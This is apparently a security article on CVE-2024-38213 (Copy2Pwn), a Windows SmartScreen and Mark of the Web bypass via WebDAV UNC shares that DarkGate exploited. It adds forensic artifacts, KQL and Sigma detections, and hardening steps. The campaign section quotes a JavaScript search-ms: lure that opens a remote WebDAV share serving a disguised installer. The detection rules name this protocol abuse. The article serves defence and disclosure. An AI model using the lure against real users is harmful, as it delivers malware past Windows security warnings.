Explore CVE-2024-38213 (Copy2Pwn), the Windows SmartScreen zero-day bypass exploited by DarkGate via WebDAV UNC shares, plus detection and mitigation rules.
A security feature bypass vulnerability in Microsoft Windows Explorer allowed threat actors to silently circumvent Windows Defender SmartScreen, Smart App Control, and Microsoft Office Protected View before being formally acknowledged. Tracked as CVE-2024-38213 and dubbed Copy2Pwn, the flaw enabled operators of the DarkGate malware syndicate to trick victims into copying malicious binaries from remote WebDAV shares without appending Mark of the Web (MotW) telemetry.
Discovered by security researcher Peter Girnus of the Trend Micro Zero Day Initiative during live threat-hunting telemetry in March 2024, the vulnerability exposes an architectural seam in how Windows transfers files across network protocols. While standard web browsers attach zone identifiers to downloaded files, Windows Explorer failed to attach mandatory security metadata when files were copied from Universal Naming Convention (UNC) paths hosted on remote WebDAV servers.
| Metric / Parameter | Technical Specification |
|---|---|
| Vulnerability Identifier | CVE-2024-38213 (Copy2Pwn) |
| Vulnerability Class | Mark of the Web (MotW) Bypass (CWE-693) |
| CVSS v3.1 Base Score | 6.5 (Medium) — CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N |
| Discovery Timeline | Observed March 2024; Patched June 11, 2024 (fix incomplete on pre-Windows 11 systems until a post-August 2024 update, per 0patch); Advisory August 13, 2024 |
| Affected Components | explorer.exe, davclnt.dll, mrxdav.sys |
| Observed Payloads | DarkGate v6.1.7, DarkMe RAT, Phemedrone Stealer |
Vulnerability Anatomy and the Copy2Pwn Mechanism
Modern Windows environments rely on Mark of the Web to protect endpoints against untrusted files. When an application downloads a file from an untrusted source, it attaches an NTFS Alternate Data Stream (ADS) named :Zone.Identifier indicating its origin zone:
[ZoneTransfer]
ZoneId=3
ReferrerUrl=https://malicious-distribution[.]com/
HostUrl=https://malicious-distribution[.]com/setup.msi
While web browsers invoke the IAttachmentExecute interface to enforce ZoneId=3 (Internet Zone) on downloads, Windows Explorer handles WebDAV connections differently. When mounting a WebDAV UNC path (such as \\192.0.2.15@80\share), the Windows WebClient Mini-Redirector (mrxdav.sys and davclnt.dll) treats the share like a native network volume.
When a user copies (Ctrl+C / Ctrl+V) or drags a file from this WebDAV share to a local folder, Windows Explorer fails to generate and attach the :Zone.Identifier stream to the newly created local file. The destination file is written with default local provenance (ZoneId=0), causing SmartScreen and Smart App Control to skip reputation checks and allow unsigned payloads to execute without warning prompts. ConnectWise's ScreenConnect flaw shows a similar client-side trick, hijacking technician machines via reverse endpoint attacks.
Sequential Evolution of SmartScreen Zero-Days
CVE-2024-38213 is the fourth entry in an adversarial chain targeting Windows SmartScreen validation logic:
| Vulnerability | Disclosed / Patched | Mechanism | Exploitation Context |
|---|---|---|---|
| CVE-2023-36025 | Nov 2023 | Crafted .url internet shortcuts pointed directly to remote executables. | Phemedrone Stealer |
| CVE-2024-21412 | Feb 2024 | Nested .url shortcuts pointed to secondary .url files on WebDAV shares. | Water Hydra, DarkGate |
| CVE-2024-29988 | Apr 2024 | MotW prompt suppression via structured zip and container navigation. | Water Hydra |
| CVE-2024-38213 | Patched Jun 2024 / Advisory Aug 2024 | Explorer omitted ADS generation during file transfers from WebDAV UNC shares. | DarkGate v6.1.7 |
Microsoft addressed the flaw in the June 11, 2024 updates but omitted CVE-2024-38213 from the June release notes; MSRC's revision 1.0 on August 13, 2024 says the CVE "was addressed by updates that were released in June 2024, but the CVE was inadvertently omitted from the June 2024 Security Updates." (0patch's post dates the patch to July; MSRC is the primary source.) CISA added it to the Known Exploited Vulnerabilities catalog on August 13, 2024. Other campaigns have chained browser and kernel zero-days for similarly stealthy footholds, such as Citrine Sleet's Chrome V8 to kernel rootkit chain.
Update (October 2026): 0patch (Mitja Kolsek), crediting the finders Peter Girnus and Simon Zuckerbraun of ZDI, reported on February 13, 2025 that Microsoft's first fix for CVE-2024-38213 did not work. A faulty check on the CoCreateInstance return value in _InitializeZoneIdentifierInterfaces meant Mark of the Web was still skipped on patched machines. According to 0patch, all Windows versions updated to August 2024, except Windows 11 and Server 2022, were still vulnerable, so Windows 10 and Server 2012–2019 machines on the June–August 2024 updates stayed exposed. MSRC's advisory still tells customers who installed the June 2024 updates they "do not need to take any further action"; its only later revision (September 16, 2024) updated the acknowledgments. Microsoft fixed the bug in a later Windows update (0patch does not name the month), so Windows 10 and Server 2012–2019 need an update newer than August 2024. 0patch also offers a micropatch for Windows 7, Server 2008 R2 and some unsupported Windows 10 versions.
DarkGate Campaign Weaponization
In early 2024, DarkGate operators established a social engineering chain abusing the Windows Search protocol handler:
- Traffic Ingress: Victims received phishing emails containing open-redirect links forwarding to pages that invoke the
search-ms:URI scheme. - Protocol Invocation: Embedded JavaScript launched Windows Explorer directed at an external WebDAV server:
<script>
window.location.href = "search-ms:query=Notion_Setup.msi&crumb=location:\\\\192.0.2.15@80\\files&displayname=Search%20Results";
</script>
- Curated Interface: Explorer presented a single installer disguised as software such as Notion, Apple iTunes, or NVIDIA drivers.
- Execution and Sideloading: After the user copied and executed the file locally, the rogue
.msiinstalled a signed binary alongside a malicioussqlite3.dllloader. The loader decrypted an on-disk payload to execute DarkGate v6.1.7 in memory, initiating keylogging, token theft, and reverse-proxy communication.
Endpoint Forensic Artifacts
Examiners investigating suspected Copy2Pwn activity should cross-reference network and host artifacts:
# Inspect suspected files for missing Zone.Identifier stream
Get-Item -Path "C:\Users\*\Desktop\*.msi" -Stream *
- WebClient Activity: Inspect
svchost.exe -k LocalService -p -s WebClientandrundll32.exe davclnt.dll,DavRegisterURLestablishing external connections on ports80or443using HTTPPROPFINDorOPTIONSverbs. - Shellbags (
UsrClass.dat):BagMRUkeys record WebDAV share navigation containing patterns like\\<Remote_IP>@<Port>\.... - Shimcache and UserAssist:
AppCompatCacheandUserAssistregistry subkeys confirm execution timestamps and paths for binaries launched fromDesktoporAppData\Local\Temp.
Detection Engineering
Security teams can deploy the following detection logic to identify protocol abuse and untrusted WebDAV execution:
KQL: Search-MS Protocol Invocation Targeting Remote Shares
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("msedge.exe", "chrome.exe", "firefox.exe", "brave.exe", "outlook.exe")
| where ProcessCommandLine has "search-ms:"
and (ProcessCommandLine has "@" or ProcessCommandLine has "crumb=location:")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, AccountName
Sigma Rule: Suspicious WebDAV UNC Path Invocation
title: Potential Copy2Pwn WebDAV Exploitation via Search-MS Protocol
id: 9a7e3d14-6b2c-4f81-a83d-e2b3c4f5a6b7
status: stable
description: Detects search-ms protocol execution targeting WebDAV UNC paths with '@' delimiter.
logsource:
category: process_creation
product: windows
detection:
selection_process:
Image|endswith:
- '\explorer.exe'
- '\rundll32.exe'
selection_commandline:
CommandLine|contains:
- 'search-ms:'
- 'crumb=location:'
CommandLine|contains|all:
- '@'
- '\\'
condition: selection_process and selection_commandline
level: high
tags:
- attack.initial_access
- attack.defense_evasion
- attack.t1553.005
Perimeter & Endpoint Hardening Matrix
| Defense Layer | Recommended Action | Implementation Method |
|---|---|---|
| Service Hardening | Disable the WebClient service on endpoints not requiring WebDAV. | Stop-Service WebClient; Set-Service WebClient -StartupType Disabled |
| Perimeter Egress | Block outbound WebDAV and SMB traffic at network firewalls. | Restrict egress on TCP 445, 139, 137, 138 and block external HTTP PROPFIND/SEARCH. |
| Attack Surface Reduction | Enable Microsoft Defender ASR rules against untrusted child processes. | Enable rule BE9BFC54-6790-4C34-BB8C-84F32F824F90 (Block executable content from email client). |
| Protocol Association | Unregister or restrict search-ms: URL protocol handlers. | Remove registry handler mappings under HKCR\search and HKCR\search-ms. |
| Patch Verification | Verify a cumulative update newer than August 2024 on Windows 10 and Server 2012–2019; the June 2024 fix was incomplete there. Windows 11 and Server 2022 were not affected by the flaw in the first fix. | KB5039211 alone is not enough for Win 10 22H2; install the current cumulative update. On Windows 11 22H2/23H2, KB5039212 or newer is sufficient (0patch found Windows 11 was not affected by the flaw in the first fix). |
The exploitation of CVE-2024-38213 underscores how threat actors actively probe the boundaries between legacy Windows networking components and modern defensive controls. Hardening protocol associations and disabling unneeded services like WebClient remain vital controls for mitigating successive Mark of the Web evasion techniques.